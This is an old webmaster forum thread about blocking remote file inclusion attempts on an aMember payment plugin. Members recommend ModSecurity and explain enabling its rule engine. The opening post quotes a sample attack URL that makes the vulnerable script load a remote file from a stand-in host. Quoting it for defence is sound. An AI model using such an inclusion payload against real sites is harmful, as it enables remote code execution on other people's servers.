Welcome to WebmasterWorld Guest from 54.196.244.45

Forum Moderators: Ocean10000 & incrediBILL & phranque

Message Too Old, No Replies

block hack attempts via htaccess?

     
1:09 pm on Feb 6, 2008 (gmt 0)

Full Member

10+ Year Member

joined:Mar 7, 2003
posts:301
votes: 0


I get a ton of hack attempts on my amember system using the following and similar urls:
/amember/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://safe-bx.example.com/test.txt?

Wondering if there's a way to deny site wide access to any url requesting
test.txt using .htaccess

Thanks.

[edited by: jdMorgan at 2:14 pm (utc) on Feb. 6, 2008]
[edit reason] example.com [/edit]

3:10 pm on Feb 6, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member wilderness is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Nov 11, 2001
posts:5408
votes: 2


some recent and similar threads:
[webmasterworld.com...]
[webmasterworld.com...]

Many thanks to Jim.

3:55 pm on Feb 6, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:June 17, 2002
posts:1181
votes: 5


A good solution is modsecurity.

It will stop this and attacks you don't already know about.

Easily installs / integrates with apache. Needs a bit of dry run testing at first but once installed you just leave it turn away the bad guys at the door.

4:26 am on Feb 7, 2008 (gmt 0)

Full Member

10+ Year Member

joined:Mar 7, 2003
posts:301
votes: 0


Thanks. Installed modsecurity.
Any suggestion on a config for blocking the above?
11:10 am on Feb 7, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:June 17, 2002
posts:1181
votes: 5


Modsecurity blocks it from doing what it is trying to do.

Mod security is telling you an exploit attempt was detected and it issued a 500 / 40x error (not that the transmitting end would recognise it as they are fire and forget).

To block it totally from accessing your server you need to deny the ip address but you do not know that before hand as different proxies / compromised devices are being used everytime.

12:55 pm on Feb 7, 2008 (gmt 0)

Full Member

10+ Year Member

joined:Mar 7, 2003
posts:301
votes: 0


Its still showing up in my joomla logs, so its not being blocked.

Maybe its related, but I had to turn off SecFilterCheckURLEncoding directive because some of my legit urls use odd characters.

2:18 pm on Feb 7, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:June 17, 2002
posts:1181
votes: 5


Out of the box modsecurity is probably set to log mode only. This is where it will record actions in the modsec log file but not actually block.

Look at the modsecurity_crs_10_config.conf file and set

SecRuleEngine On